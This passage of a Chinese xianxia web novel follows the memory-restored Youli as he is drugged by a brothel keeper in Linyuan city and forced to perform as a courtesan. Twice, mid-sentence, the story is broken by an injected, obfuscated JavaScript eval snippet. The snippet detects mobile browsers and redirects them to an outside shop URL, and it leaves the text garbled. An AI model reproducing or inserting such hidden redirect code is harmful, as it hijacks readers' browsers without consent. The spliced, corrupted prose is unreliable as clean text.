“碎。” 宥鲤并指如剑,一斩而下。 轰—— 黑玉鼎炸成齑粉,彼岸花冠寸寸崩裂。 噬忆蝶发出凄厉嘶鸣,化作万道黑丝,直扑宥鲤心口! 就在黑丝即将钻入胸膛的刹那—— 冰窟内,锁魂灯“啪”地熄灭。 一缕幽蓝光丝顺着预先刻好的阵纹,瞬息千里,没入祭台。 众人只见“宥鲤”身形猛地一震,胸口炸开一团黑金交织的光,随即—— 噗通。 素青布衣的“少主”仰面倒下,雪发铺地,气息全无。 黑蝶失去宿主,在空中扭曲成雾,被夜风一吹,散得干干净净。 台前死寂。 煞玄面具后的瞳孔骤缩,第一次失态地掠上高台,俯身去探“宥鲤”脉息—— 冰冷,无跳,魂火已灭。 “……死了?” 大长老声音发颤,难以置信地后退半步。 暗处,琅风却看见: 倒地的那具“尸体”,耳后有一道极细的银线——画骨人偶的接缝。 他心脏狠狠一撞,几乎要脱口喊出,却在对上煞玄扫来的目光时,强行按捺。 就在众人被死亡震慑的短短三息里—— 后山,冰窟。 锁魂灯熄灭的同一瞬,躺在寒玉榻上的真正宥鲤猛地睁眼。 心口灼痛如被万蚁啃噬,却带着奇异的畅快—— 噬忆蝶的残灰,被换魂法强行截留了一半,此刻正顺着经络,逆流回识海。 破碎的画面蜂拥而至: 雪壁上,少年掌心的温度; 朽清门前,他低头为自己拂去肩头的雪; 还有那句嚣张到离谱的—— “我严珩,就是要摘这朵雪山最高处的花,谁拦我,我就连根带雪一起抱走。” 宥鲤蜷身咳出一口黑血,血里夹着半片蝶翼,转瞬化烟。 他抬手,雪色长发垂落腕间——未被教冠浸染的、随不是最原本的颜色。 “……我还活着。” 他低笑,声音沙哑,却亮得吓人。 冰窟外,夜风卷着松脂香,一道青虹破空而至,落在山巅—— 严珩终是来了,却只来得及看见祭台上一具“尸体”,和漫天未散的黑灰。 男人站在风里,雪发未束,眼底血色翻涌。 他弯腰,拾起地上一片碎裂的彼岸花瓣—— 花瓣边缘,沾着一点淡金色的、不属于人类的血。 指节倏地收紧,严珩抬眼,目光穿过夜色,直直望向后山。 那里,荒雪无声,却有一道熟悉到骨子里的气息—— 像雪壁之上,第一次被体温融化的薄冰; 像少年把绿芽递到他面前时,指尖的温度。 严珩垂眸,将碎瓣收入袖中,轻声道: “……千浮,你骗过了所有人。” 风起,青衣猎猎。 雾色渐浓,廊下的光影被吞没在灰白之中。 那是记忆里的最后一幕——云清君站在廊下,目送少年背影消失在回廊尽头。 然后,画面骤然一收。 像被人从深海里一把拽回水面,宥鲤猛地吸了一口气,胸腔里火辣辣地疼。 噬忆蝶残灰在识海中翻涌,破碎的画面一片片拼合:雪、庙、朽清门、天桥试剑台……无数张脸在眼前一闪而过,却在最后,统统退到了那一道白衣身影之后。 云清君。 第一个真正清晰起来的名字,是他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261174|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师尊。 不是严珩,不是煞玄,不是宥风,而是那个在雪天里伸手,把他从破庙里拉出来的人。 “……师尊。” 宥鲤喉间溢出两个字,声音哑得几乎听不清。 识海里,那一天的雪忽然变得极近—— 破庙里,寒风卷着雪屑灌进来,烛火摇摇晃晃。少年缩在角落,怀里抱着更小的孩子,眼里全是戒备。 门被推开的一瞬,冷光涌进来,却被那个人身上的暖意冲淡了几分。 “你们,怎么会在这里?” 他蹲下身,递来一块干净的手巾,声音温和,却不卑不亢。 “我是朽清门的长老。若你们无处可去,可以随我回山。” 那一刻,宥鲤第一次在别人眼里,看见了“可以被带走”的意思——不是当作棋子,不是当作工具,而是当作一个需要被安顿的孩子。 “有暖炉,有热汤,还有干净的床。” 云清君说这句话的时候,眼里没有算计,只有淡淡的、真切的温柔。 ——原来,那是他这一生,第一次被当作“人”而不是“筹码”对待。 识海深处,画面一晃,又到了朽清门的院子里。 红梅映雪,少年换上干净的棉衣,站在廊下,被人轻轻叫了一声:“千浮。” “从今日起,你便是我云清君的弟子。” 那声音落在心上,像一枚钉子,把他整个人钉在了“朽清门”这三个字上。 记忆如潮水般退去,又在瞬间反扑。 胸口的灼痛渐渐退去,取而代之的是一种奇怪的空落——像突然发现,自己这五百年,其实一直在绕着一个点打转。 那个点,就是云清君。 是他教会自己握剑,是他给了自己一个名字,是他在无数个清晨与黄昏里,看着他练剑,替他拂去肩头的雪。 也是他,在最后那些年里,站在廊下,看着他越走越远,却什么也没说。 “你……”宥鲤喉咙发紧,“可曾后悔过收我为徒?” 这句话,没有说出口,只在心里轻轻滚过。 他知道,答案已经不重要了。 重要的是——当所有被夺走的记忆重新涌回,他最先想起的,不是血与火,不是恨与怨,而是一个人,在雪天里向他伸出的那只手。 “……原来如此。” 宥鲤慢慢吐出一口气,眼底的冷意被什么东西轻轻撬开了一道缝。 那道缝里,藏着的不是柔软,而是一种更复杂的东西——愧疚、感激、怀念,还有一点被他死死压着的委屈。 他忽然意识到一件事: 这些年,他以为自己早已把“师徒”二字从骨血里剜掉了,可在记忆真正回来的那一刻,他的第一反应,依旧是—— “我该回去,给他一个交代。” 不是给煞玄,不是给魔教,甚至不是给严珩,而是给云清君。 给那个曾在雪天里对他说“有暖炉,有热汤,还有干净的床”的人。 “师尊……” 宥鲤闭上眼,将这两个字在心里又念了一遍。 这一次,不再是陌生的称谓,而是带着重量的——牵挂。 雾色散去,识海归于平静。 噬忆蝶的残灰被他一点点压入丹田深处,不再肆意冲撞。 他缓缓睁开眼,浅茶色的眼底有一瞬的迷茫,却在眨眼间,被更冷的东西覆盖。 他抬手,按住心口,那里隐隐作痛,却不再像之前那样空无一物。 他转身,望向万归宗的方向。 风从冰窟的缝隙里灌进来,吹得他雪色长发微微扬起。 那一瞬间,他不再只是魔教少主,不再只是画骨人偶,也不再只是被命运推着走的棋子。 他是宥鲤,字千浮。 是朽清门云清君座下,唯一的亲传弟子。 他轻声道,像在对自己说,也像在对某个遥远的、或许早已不在人世的人说: 我会回去。 回到你身边——或者,至少,回到你曾经站过的地方。 冰窟外,夜色沉沉,万归宗的方向,一道青虹若隐若现。 宥鲤收回目光,眼底重新覆上一层冰。 记忆回来了,牵挂也回来了。 但这不代表他会变得柔软——恰恰相反,他比从前更锋利了。 因为这一次,他的剑,不只为自己而挥,也为那个在雪中伸出手的人。 宥鲤抬手,按在腰间长剑上。 鞘中的剑轻轻一震,发出一声极轻的嗡鸣。 仿佛回应,又仿佛催促。 79. 二十五 宥鲤恢复记忆后,做的第一件事,就是离开魔教后山。 他沿着记忆里的方向,一路往万归宗走。 结果——走了三天,他发现自己越走越不对劲。 山形不对,云气不对,连风声都不对。 宥鲤站在一条岔路口,看着面前三条几乎一模一样的土路,沉默了很久。 “……我好像,”他难得迟疑了一下,“走错了。” 其实不是“好像”,是明明白白——他迷路了。 而且迷得非常彻底。 他从小在朽清门长大,后来又被困在魔教,真正自己走江湖的次数屈指可数。对他来说,山就是山,路就是路,只要方向对,总能走到。 但江湖显然不这么想。 于是—— 第三天,他走进了一片绕不出去的竹林。 第四天,他被一群山贼误以为是来踢馆的剑修,打了一架,对方被打跑了,他也更迷路了。 第五天,他在一个小村落问路,结果村民指错了方向,他又往反方向走了整整一天。 到了第六天,他终于看见了“人多”的地方。 那是一座热闹的小城,城门上写着两个字:“临渊”。 宥鲤站在城门口,看着熙熙攘攘的人群,深吸了一口气:“至少……终于走到有人的地方了。” 他本打算找家客栈,问清万归宗的方向,再买匹马,这样就不会再迷路。 结果——他刚踏进城里,就被人盯上了。 准确说,是被一个人“看上了”。 那人是个四十来岁的男人,穿着锦袍,腰间挂着一串铜钱,走路带风,笑容满面,看着谁都像在看一锭会自己走路的银子。 他一抬眼,就看见了宥鲤。 那一刻,他的眼睛亮得像发现了宝藏。 雪色长发,素青布衣,眉眼清隽冷淡,气质干净得像雪山上的月光——偏偏又带着一点不易察觉的锋利,让人想靠近,又不敢轻易冒犯。 “啧。”男人心里一乐,“这可是极品。” 他在青楼行当里混了这么多年,见过的美人不少,可像这样的,还真是第一次见。 ——冷清得要命,却偏偏让人想把他那双冷淡的眼睛,弄出点别的情绪来。 男人咳了一声,换上一副笑脸,迎了上去。 “这位公子,看着面生,是第一次来临渊城吧?” 宥鲤正想找个人问路,便停下脚步,淡淡道:“嗯。” “看公子风尘仆仆的,想必是远道而来?”男人笑得更殷勤了,“我是这城里‘醉春楼’的掌柜,姓胡。公子若不嫌弃,不如先去楼里歇歇脚,喝杯热茶,洗个热水澡,再慢慢打听去处?” “醉春楼?”宥鲤眉梢微挑,“青楼?” 胡掌柜心里一咯噔——这公子看着清冷,没想到反应还挺快。 但他面上一点不慌:“公子说笑了,我们醉春楼可是正经地方,有酒有戏,还有上好的客房,许多江湖客都爱来。” 他一边说,一边悄悄打量宥鲤——衣衫素净,却料子极好,气质不俗,身上没什么风尘气,倒像个宗门里养出来的贵公子。 这种人,要么很有钱,要么很有背景。 但无论哪一种,只要进了他的楼,就由不得他了。 宥鲤本来不想多事。 他现在只想尽快赶到万归宗,弄清楚云清君的下落。 可他确实累了——六天赶路,几乎没怎么好好休息,灵力也消耗了不少。 “行。”他淡淡道,“先住一晚。” 胡掌柜眼睛一亮:“那公子这边请——” 他殷勤地引着宥鲤往醉春楼走,心里却已经盘算开了:这样的人,若能留下来做个“清倌人”,哪怕只挂个名头,也能把整个临渊城的客人都勾来。 “公子看着不像江湖人,倒像个宗门弟子?”胡掌柜试探着问。 “嗯。”宥鲤懒得编谎话,“万归宗。” 胡掌柜心里一跳——万归宗! 那可是正道大宗,要是真闹大了,他这醉春楼也别想开了。 但转念一想——万归宗离这儿千里之遥,谁知道这小子是不是随口糊弄他?就算真是万归宗弟子,只要进了他的地盘,再想出去,可就没那么容易了。 他眯了眯眼,笑容更殷勤了:“原来是万归宗的仙师,失敬失敬。” 宥鲤懒得接话,只问:“万归宗怎么走?” 胡掌柜心里“呵”了一声——还真是路痴。 “这个嘛……”他故意拖长了音,“城里路复杂,公子先好好歇一晚,明儿我让伙计给您画张详细的地图,保准您一看就懂。” 宥鲤点了点头:“也好。” 他现在的状态,确实不适合再继续乱走。 醉春楼门前挂着红灯笼,门楣上雕着精致的花纹,来往客人不少,个个醉意熏熏,搂着姑娘说说笑笑。 宥鲤皱了皱眉,有些不适应这种气味——酒香、脂粉香、汗味、酒味混在一起,让他有点想吐。 “公子第一次来这种地方?”胡掌柜笑得暧昧,“不打紧,今晚先住下,明儿我让几个乖巧的丫头给您……” “不必。”宥鲤淡淡打断,“只要一间安静的房间。” 胡掌柜眼底闪过一丝可惜,却还是点头:“行行行,安静的房间有,最顶楼的天字一号,给您留着。” 他一边说,一边给旁边的伙计使了个眼色。 伙计心领神会,退到一旁,悄悄从袖子里摸出一个小纸包。 那是特制的迷药,无色无味,只要下在茶里,神仙也得睡上一天一夜。 宥鲤跟着胡掌柜上了楼。 天字一号房果然安静,窗外能看见城里的灯火,房间收拾得也算干净。 “公子先坐,我让伙计送壶热茶上来。”胡掌柜笑得一脸和善,“您一路辛苦,喝口茶解解乏。” 宥鲤点了点头,坐到窗边的椅子上。 他其实并不怎么信任这个胡掌柜,但也没太放在心上——以他的修为,寻常迷药根本近不了身。 没过多久,伙计端着茶盘进来了。 “公子,请用茶。” 他把茶盏放在桌上,又低眉顺眼地退了出去。 胡掌柜笑着道:“公子慢用,有什么需要,随时叫我。” 说完,他也退了出去,顺手把门带上。 房间里安静下来,只剩下窗外隐约传来的丝竹声和笑声。 宥鲤端起茶盏,低头闻了闻。 茶香清冽,没什么异样。 他心里微微一动——就算真有什么,也伤不了他。 于是他轻轻喝了一口。 茶刚入口,他就察觉到不对。 不是味道不对,而是灵力在体内的流动,忽然慢了半拍。 像是被什么东西轻轻绊了一下。 宥鲤眸光一冷,正准备运功逼出药力—— 下一刻,一股更霸道的力量,从脚底直冲而上。 那不是茶里的迷药,而是……阵法。 整间屋子,竟然是一个困灵阵。 茶只是引子,真正的杀招,是他一踏进房间就已经踩进去的阵眼。 “……原来如此。”宥鲤冷笑一声,“青楼掌柜,也会布阵?” 他刚要拔剑破阵,眼前却猛地一黑。 灵力像是被人从身体里抽走了一大半,经脉里传来一阵刺痛,意识开始模糊。 困灵阵压制灵力,迷药负责放倒——两者叠加,就算是金丹期修士也得栽。 宥鲤毕竟刚恢复记忆不久,这六天又没好好休息,状态本就不算巅峰。 他咬了咬牙,想强行稳住心神,却只来得及抬手按了一下腰间的剑—— “叮——” 剑还没出鞘,他眼前一黑,整个人向前栽去。 最后一眼,看见的是房门被人从外面推开,胡掌柜带着几个人快步走了进来。 “拿下。” 胡掌柜一声令下,语气里带着压抑不住的兴奋。 几个人七手八脚地把宥鲤抬了起来,往床下一塞——那里竟然藏着一个暗门。 暗门打开,是一条通往地下的石阶。 “把人带去后院的暗室。”胡掌柜压低声音,“别让人看见。” “掌柜的,这可是万归宗的……”伙计有些犹豫。 “万归宗又怎样?”胡掌柜冷笑,“只要人在我手里,他说是谁就是谁。” 他说着,低头看了一眼被打晕的宥鲤。 雪色长发散乱在脸侧,眉眼在昏黄的灯光下显得愈发清冷。 “这样的人……”胡掌柜舔了舔唇,“就算不能真的怎样,摆在楼里,也够我赚回十座醉春楼。” 他挥了挥手:“快,动作利索点。” 几个人应声,抬着宥鲤顺着石阶往下走。 暗门重新合上,房间恢复了原样,仿佛什么都没发生过。 窗外的丝竹声依旧,笑声依旧。 没人知道,刚才那个被胡掌柜“看上”的清冷公子,已经被打晕拖走,成了醉春楼最值钱的“秘密”。 而宥鲤—— 在彻底失去意识前,只有一个念头在脑海里断断续续地闪过: “……我就知道,问路这种事,不该信别人。” 然后,彻底陷入黑暗。 暗室里,空气又潮又闷,带着一股陈旧的霉味。 宥鲤是被一阵冰凉的触感弄醒的。 有人正拿着一块湿帕子,细细擦他的脸。力道不重,却让他本能地皱起了眉。 他想睁眼,眼皮却沉得厉害,像被人灌了铅。 “啧,这皮肤……”一个女人的声音在耳边响起,带着几分惊讶,“比楼里最红的姑娘还细。” “行了行了,少废话。”另一个粗嗓门道,“掌柜说了,这可是宝贝,给我仔细点,弄坏了有你好看。” “知道啦知道啦。” 宥鲤的意识一点点回笼,灵力却像被关在笼子里,怎么也提不起来。 困灵阵的余威还在,经脉里像是被塞了棉花,又涨又钝。 他费力地睁开眼,视线一开始是模糊的,过了好一会儿,才慢慢聚焦。 头顶是一块发霉的木梁,旁边是一盏昏黄的油灯,灯光摇曳,把屋里的影子拉得歪歪扭扭。 他躺在一张窄小的木床上,手脚被粗麻绳捆得结结实实,连指尖都动不了。 床边站着三个人——两个粗使婆子,一个小厮,正围着他忙前忙后。 “醒了?”一个婆子眼尖,立刻发现他睁眼了,冲旁边喊,“喂,人醒了!” 小厮立刻凑过来,居高临下地看着他:“公子,别乱动啊,绳子可是特制的,越挣越紧。” 宥鲤冷冷扫了他一眼,声音还有点哑:“你们……是什么人?” “什么人?”小厮咧嘴一笑,“醉春楼的人啊。公子不是刚在我们那儿开了房?” 宥鲤沉默了一瞬,忽然有点想笑。 他堂堂魔教少主、万归宗朽清门首徒,最后竟然折在一个青楼的困灵阵里。 “把我带到这里,想做什么?”他问。 “做什么?”另一个婆子插嘴,“当然是——” “闭嘴。”小厮瞪了她一眼,转头对宥鲤笑得一脸假,“掌柜说了,公子是贵客,只是……暂时不方便离开。” “暂时?”宥鲤淡淡重复。 “嗯,暂时。”小厮含糊其辞,“等掌柜跟公子谈好了,自然会放你走。” 谈? 宥鲤心里冷笑——一个青楼掌柜,能跟他谈什么? 无非是钱,或者……人。 他低头看了一眼自己身上——素青布衣已经被换走了,取而代之的是一件轻薄的白色中衣,布料柔软,却让他极不习惯。 “我的衣服呢?”宥鲤问。 “收起来了。”小厮道,“掌柜说,公子的东西,都得好好保管。” 包括—— 他下意识摸了摸腰间。 剑没了。 玉佩没了。 连袖中那卷煞玄的绢布,也不见了。 所有能证明他身份、能给他一线机会的东西,全都被收走了。 “……”宥鲤闭上眼,深吸了一口气。 他很少有想骂人冲动的时刻,现在算一个。 “还愣着干嘛?”小厮催促,“赶紧的,掌柜说了,半个时辰后要人。” 两个婆子立刻动了起来。 一个端来一盆热水,另一个打开一只木箱,里面整整齐齐摆着各种脂粉、首饰、发簪,还有几件颜色艳丽的衣裳。 宥鲤睁开眼,看着那几件衣服,脸色一点一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261175|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点沉下去。 “你们要做什么?”他问。 “给公子梳妆打扮啊。”婆子笑得有点暧昧,“掌柜说了,像公子这样的人物,得好好收拾收拾,才能配得上咱们醉春楼的招牌。” “我不——” 话还没说完,一张帕子就捂到了他嘴边。 那帕子上带着淡淡的香气,却让他的意识再次一沉。 “别挣扎了。”小厮按住他的肩膀,“这药不会伤你性命,就是让你安分点。” 宥鲤想运功反抗,可经脉里的灵力像被打了死结,怎么也提不起来。 他只能眼睁睁看着两个婆子一左一右地围上来,开始给他“梳妆打扮”。 先是洗脸。 温热的帕子在脸上擦过,力道有点重,却意外地细致,连眼角、耳后都没放过。 然后是梳头。 婆子解开他的发带,雪色长发像瀑布一样散落在枕上,在昏黄的灯光下泛着淡淡的光。 “哟,这头发……”婆子眼睛都直了,“这颜色,怕是神仙染的吧?” “少说两句。”小厮提醒,“掌柜说了,这头发可是卖点,别给我弄乱了。” 婆子立刻收敛,小心翼翼地用梳子一点点梳开打结的地方。 宥鲤的头皮被扯得微微发疼,却懒得吭声。 他现在唯一能做的,就是在脑子里飞快盘算—— 困灵阵的范围有多大? 他们给他下的药,多久能解? 剑被收在哪里? 胡掌柜的目的,是卖他,还是留他做“头牌”? 这些问题像乱麻一样缠在一起,却没有一个有答案。 梳完头,婆子开始给他上妆。 先是抹粉。 细腻的白粉一点点拍在他脸上,遮住了原本的苍白,却也让他的五官显得更加立体。 然后是描眉。 婆子拿着眉笔,仔细地顺着他原本的眉形勾勒,又轻轻往上挑了一点,让那双本就锋利的眉眼多了几分勾人的意味。 “这眉形,绝了。”婆子啧啧称奇,“稍微一描,就跟画里走出来的似的。” 宥鲤闭着眼,听着她们的惊叹,心里却一片冰冷。 他这辈子,最讨厌的就是被人当玩意儿看。 可现在,他连反抗的资格都没有。 最后是嘴唇。 婆子拿起一支红色的唇脂,轻轻抹在他的唇上。 那颜色太艳,与他苍白的肤色形成了鲜明对比,让他整个人看起来有种说不出的妖冶。 “掌柜要是看见,怕是要乐坏了。”婆子笑得合不拢嘴。 小厮看了看时间:“行了,换衣服。” 两个婆子把他从床上扶起来,让他靠着床柱坐着,然后开始给他换衣服。 先是脱中衣。 宥鲤下意识地一紧,却被婆子按住肩膀:“公子,别乱动,我们都是干这行的,什么没见过?” 他咬了咬牙,终究还是没再挣扎。 中衣被脱下,露出他清瘦却线条利落的上身。 皮肤白得近乎透明,锁骨精致,腰细而有力,肋骨下方有一道浅浅的旧疤,是当年在魔教试剑时留下的。 婆子看了一眼,眼神里闪过一丝惊艳,却也不敢多看,迅速把那件早就准备好的衣服拿了过来。 那是一件水红色的长衫,布料轻薄,上面绣着暗纹的桃花,领口开得有点低,腰间束着一根同色的丝带,腰侧还挂着一串细小的银铃。 “这……”宥鲤看着那件衣服,终于忍不住开口,“你们确定,这是给男人穿的?” “怎么不是?”婆子理直气壮,“咱们楼里的清倌人,不都这么穿?” 清倌人。 这三个字像一记耳光,狠狠扇在他脸上。 宥鲤沉默了很久,才低声道:“……你们掌柜,胆子不小。” “那是。”小厮得意,“掌柜说了,只要能把你留在楼里,他就不怕什么万归宗、魔教的。” “魔教?”宥鲤挑眉。 “对啊。”小厮随口道,“掌柜说,你这种人物,不是正道就是邪道,反正都不好惹。但只要你在我们手里,他们要找你,就得先过咱们醉春楼这一关。” 原来如此。 胡掌柜打的是“两头押宝”的主意—— 既想利用他的美貌赚钱,又想拿他当筹码,在正道和魔教之间周旋。 算盘打得倒是精。 婆子已经把衣服套在了他身上。 水红色的布料贴着皮肤,有点凉,却也柔软。 宥鲤低头看了一眼自己现在的样子—— 雪色长发被高高束起,用一根红色的发带系着,几缕碎发垂在耳侧;眉眼被描得更锋利,唇色艳丽,整个人看起来既清冷又妖冶,像雪地里开出的一朵血花。 “行了。”小厮满意地点了点头,“这模样,往台上一站,怕是整个临渊城的人都得疯。” 他说着,让人把宥鲤从床上扶起来,准备带他出去。 宥鲤脚下一软,差点摔倒——药劲还没完全过去,他的腿有点虚。 “走稳点。”婆子扶着他,“别摔着,掌柜说了,你现在可是咱们楼里最值钱的宝贝。” 宝贝? 宥鲤在心里冷笑。 他这一生,被当成棋子、当成武器、当成工具,还是第一次被当成“青楼头牌”。 “等等。”他忽然开口。 小厮停下脚步:“怎么?” 宥鲤抬起头,浅茶色的眼底一片冰冷:“告诉你们掌柜——” “我不会在你们楼里,待太久。” 小厮愣了一下,随即笑了:“公子这话,还是留着跟掌柜说吧。” 他挥了挥手,让人把宥鲤往外带。 暗室的门被推开,外面是一条狭窄的走廊,灯光昏黄,隐约能听见楼下传来的喧闹声。 宥鲤被推着往前走,脚步虚浮,却挺直了背。 他知道,接下来,会是一场比困灵阵更难看的局。 但他也知道—— 只要他还活着,只要灵力还有恢复的一天,这醉春楼,迟早会为今天的所作所为,付出代价。 “胡掌柜……” 他在心里默念这个名字,眼底的冷意一点点凝成锋刃。 “你会后悔的。” 80. 苦冬·二十六·完 走廊尽头的门“吱呀”一声被推开,喧闹的人声和脂粉气一股脑涌了进来。 楼下灯火通明,酒桌排开,笑声、划拳声、丝竹声混成一片。 宥鲤被推到一扇雕花屏风后,从这里刚好能看见楼下大堂。 “公子先在这儿候着。”小厮压低声音,“掌柜马上就来。” 话音刚落,一个熟悉的声音从旁边传来:“人收拾好了?” 胡掌柜慢悠悠走过来,手里把玩着那枚骷髅印——那是从宥鲤袖中搜出来的。 宥鲤的目光在那枚印上停了一瞬,眼底寒意更甚。 “掌柜的,您看——”婆子殷勤地把屏风往两边一拉。 胡掌柜抬眼。 水红长衫,雪发高束,眉眼如画,唇色如血。 清冷与妖冶在这个人身上诡异又完美地糅合在一起,像一柄藏在红绸里的剑,看着漂亮,却随时可能割破人的喉咙。 胡掌柜喉结微微动了动,眼里闪过一瞬的惊艳,却很快被更深的算计压了下去。 “不错。”他淡淡道,“比我想象中还像样。” “掌柜。”宥鲤开口,声音平静,“把东西还我,放我走。” “东西?”胡掌柜晃了晃手里的骷髅印,“这个?” 宥鲤看着那枚印,没说话。 “魔教的东西,”胡掌柜轻笑,“你一个万归宗弟子,身上带着这个,不太合适吧?” 宥鲤眉梢微挑:“你认得?” “血煞魔教教主的私印,我要是不认得,这几十年的江湖白混了。”胡掌柜慢条斯理地说,“不过——” 他话锋一转:“你身上有这个,却还敢自称万归宗弟子,胆子不小。” 宥鲤淡淡道:“你既然认得,就该知道,动我,后果如何。” “后果?”胡掌柜笑了,“你现在,在魔教那边,可是个死人。” 宥鲤瞳孔微微一缩。 “祭渊台上,少主‘身死教冠’,消息早就传开了。”胡掌柜把玩着骷髅印,“魔教上下都以为你死了,万归宗那边也没人敢公开认你——毕竟,谁愿意承认自家弟子是魔教少主?” 他一步步走近,声音压低:“你现在,既不是魔教少主,也不是万归宗首徒。你只是个……没人要的孤魂野鬼。” 宥鲤的指尖在袖中缓缓收紧。 胡掌柜说得没错。 在魔教,他已经是个“死人”。 在万归宗,他的身份一旦暴露,只会给云清君招来无穷麻烦。 所以——他现在,确实没有任何可以动用的势力。 “你扣下我,”宥鲤冷冷道,“对自己有什么好处?” “好处?”胡掌柜笑了,“当然有。” 他伸出手,轻轻挑起宥鲤的下巴,动作轻佻,却带着毫不掩饰的打量。 “第一,你这张脸,这身皮囊,往我醉春楼一摆,临渊城的人能把门槛踏破。” “第二——”他晃了晃手里的骷髅印,“有这个在,我就等于捏住了魔教的一条尾巴。只要我愿意,随时可以拿你做文章。” “第三……”胡掌柜凑近了一点,声音低得只有两个人能听见,“万归宗那位云清君,可是出了名护短。要是他知道自己的好徒弟落在我手里,你说,他会不会舍得付点代价?” 宥鲤眼底的寒意几乎要凝成实质。 “你敢动他的主意?” “我只是生意人。”胡掌柜松开手,笑得一脸无害,“只要价钱合适,什么人不能谈?” 他退开一步,负手而立:“当然,你也可以选择硬扛。” “困灵阵我可以撤,迷药我也可以停。”胡掌柜淡淡道,“但只要你在这临渊城里动手杀人,消息传出去——你猜,是魔教先找到你,还是万归宗先找到你?” 宥鲤沉默。 他知道胡掌柜说得对。 只要他在这里暴露实力,不管杀不杀得掉胡掌柜,消息都会像长了翅膀一样飞出去。 到时候—— 魔教会以为“少主诈死”,派人来查。 万归宗会以为“宥鲤入魔”,派人来问。 而云清君,会被夹在中间,进退两难。 “你想怎样?”宥鲤低声问。 “很简单。”胡掌柜笑得温和,“在我这儿,待一阵子。” “多久?” “等到——”胡掌柜顿了顿,“我觉得够本了为止。” 宥鲤看着他,忽然笑了一下。 那笑意很淡,却冷得让人背脊发凉。 “你就不怕,我哪天恢复了实力,把你这醉春楼夷为平地?” “怕啊。”胡掌柜坦然,“但我更相信,你不会那么做。” “哦?” “因为你在乎的人太多。”胡掌柜慢悠悠道,“魔教那边,你不想牵连;万归宗那边,你更不想牵连。尤其是那位云清君……你舍得让他因为你,被天下人指指点点吗?” 宥鲤的指尖猛地一紧。 胡掌柜说得太准了。 他最不怕的是自己死,最怕的,是牵连旁人。 尤其是云清君。 “所以——”胡掌柜拍了拍他的肩,“合作,对我们都好。” “你要我做什么?”宥鲤问。 “很简单。”胡掌柜道,“从今晚开始,你就是醉春楼的‘清倌人’——只卖艺,“不卖身”。” “我会对外宣称,你是我从别处买来的可怜人,因为欠了债,只能在我这儿唱戏还债。” “你只需要,偶尔在楼上露个脸,唱两首曲子,弹两曲琴,让客人们知道你在这儿。” “至于那些想打你主意的——”胡掌柜冷笑,“我会让他们知道,醉春楼不是谁都能撒野的地方。” 宥鲤眯起眼:“你会保护我?” “我会保护我的摇钱树。”胡掌柜纠正,“这不一样。” 宥鲤沉默了很久。 他知道,自己现在没有别的选择。 一旦他在这里闹起来,不管结果如何,都会把云清君拖下水。 而他刚刚才找回那段记忆,刚刚才在心里立下誓言——要回去,要给师尊一个交代。 他不能在这个时候,把一切都毁了。 “好。”宥鲤终于开口,“我答应你。” 胡掌柜眼里闪过一丝满意:“明智的选择。” “不过——”宥鲤淡淡道,“我有条件。” “你说。” “第一,不许碰我。”宥鲤目光冰冷,“无论是你,还是任何人。” “第二,不许把我的真实身份说出去。” 胡掌柜看着他,忽然笑了:“你这哪里是条件,分明是威胁。” “你可以当我在威胁。”宥鲤平静道,“反正,你也不敢赌我会不会拼个鱼死网破。” 胡掌柜沉默了一瞬,忽然叹了口气:“你这性子,倒真像传言里的那个人。” “传言?”宥鲤挑眉。 胡掌柜没接话。 “行。”胡掌柜收起笑意,“这三个条件,我答应你。” “但你也要记住——”他话锋一转,“只要你敢在我这儿乱来,我就敢把你是魔教少主的消息,贴满整个江湖。” “到时候,你师尊护不护得住你,就不是我能管的了。” 宥鲤看着他,缓缓道:“你最好记住你今天说的话。” “放心。”胡掌柜笑了,“我一向说话算话。” 他挥了挥手:“带他下去,安排在顶楼的天字一号。从今天起,他就是咱们醉春楼的——‘雪公子’。” 小厮应声,上前扶宥鲤。 宥鲤甩开他的手,自己站稳了,转身向楼梯走去。 水红长衫在灯光下划过一道艳丽的弧线,雪发高高束起,背影却挺直得像一柄剑。 胡掌柜看着他的背影,忽然低声道:“你知道吗?” 宥鲤脚步一顿,却没回头。 “我这辈子,见过不少人。”胡掌柜缓缓道,“但像你这样,明明是个死人,却还活得这么倔的,还是第一个。” 宥鲤淡淡道:“那你最好祈祷——” “我一直这么倔下去。” 说完,他抬脚,一步步走上楼梯。 胡掌柜站在原地,看着他的背影消失在楼梯拐角,忽然收起了笑容。 他低头,看了看手里的骷髅印,眼底闪过一丝复杂。 “煞玄啊煞玄……”他低声道,“你这儿子,可比你难搞多了。” 楼上,天字一号房。 宥鲤推开窗,夜风灌进来,吹得他水红长衫猎猎作响。 楼下灯火通明,笑声震天。 他知道,从这一刻起,他又多了一个身份——醉春楼的“雪公子”。 一个被人当成玩物的、供人观赏的身份。 但没关系。 他曾经是魔教少主,是万归宗首徒,是被命运推着走的棋子。 现在,他不过是换了一张皮,继续往前走而已。 “胡掌柜。”宥鲤轻声道,眼底一片冰冷,“你以为你捏住了我的软肋。” “可你别忘了——” “软肋,有时候,也是杀人的刀。” 他抬手,轻轻抚过腰间空荡荡的位置。 醉春楼的“雪公子”,很快在临渊城传开了。 不是因为他唱得有多好,而是—— 没人见过这样的清倌人。 水红长衫,雪发高束,眉眼冷淡,上台时只抱一把琴,往那儿一坐,整座楼的喧闹都像是被按了静音。 